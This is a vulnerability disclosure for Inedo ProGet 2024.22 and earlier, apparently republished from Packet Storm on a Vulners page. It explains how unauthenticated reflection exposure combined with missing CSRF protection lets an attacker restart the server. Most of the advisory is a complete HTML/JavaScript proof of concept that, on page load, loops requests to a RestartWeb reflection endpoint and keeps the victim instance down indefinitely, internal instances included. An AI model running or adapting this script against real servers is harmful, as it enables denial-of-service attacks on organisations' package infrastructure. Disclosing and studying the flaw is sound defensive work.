Lucene search
K

📄 Inedo ProGet 2024.22 Denial of Service / Information Disclosure / CSRF

🗓️ 28 Apr 2025 00:00:00Reported by Daniel OwensType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 204 Views

Inedo ProGet 2024.22 is vulnerable to denial of service and cross-site request forgery attacks.

Code
Inedo ProGet 2024.22 and below are vulnerable to unauthenticated denial of service and information disclosure attacks (among other things) because the information system directly exposes the C# reflection used during the request-action mapping process and fails to properly protect certain pathways.  These are amplified by cross-site request forgery vulnerabilities (CSRF) due to the application's failure to verify the HTTP request method and apply CSRF protections accordingly.  Specifically, unauthenticated attackers can chain CSRF and reflection attacks to cancel executions, restart the ProGet instance, and perform certain other actions.  The following is a sample script that can be used to demonstrate the vulnerability, restarting the victim Inedo ProGet instance ad infinitum.  Notably, this attack will work regardless of browser pre-flight protections, etc., since ProGet ignores the HTTP request method.  It is likely that more recent versions are also vulnerable to this, but the CS
     RF portion allows attacking internal (private) instances in addition to directly accessible (e.g., public) instances.  This is vulnerability is known to exist across multiple major versions.
    
    <!DOCTYPE html>
    <html lang="en">
    <head>
    <script>
    function sleep(ms) {
                    return new Promise(resolve => setTimeout(resolve, ms));
    }
    function sendData() {
                    var xhr = new XMLHttpRequest();
                    xhr.open('HEAD', 'http://vict.im/0x44/ProGet.WebApplication/Inedo.ProGet.WebApplication.Pages.Errors.UserNotFoundErrorPage/RestartWeb');
                    xhr.send();
    }
    async function executeDosAttack() {
                    while(true) {
                                    try {
                                                    sendData();
                                                    sendData();
                                                    // Sleep for 500 ms
                                                    await sleep(500);
                                    } catch(ignoreMe) {
                                                    // Gobble up exceptions since we expect the service to go down and pre-flight triggers the shutdown anyway
                                    }
                    }
    }
    </script>
    </head>
    <body onload="executeDosAttack()">
    <h1>Insecure Reflection + CSRF + DOS Attack</h1>
    <p>It's silently working in the background...</p>
    </body>
    </html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation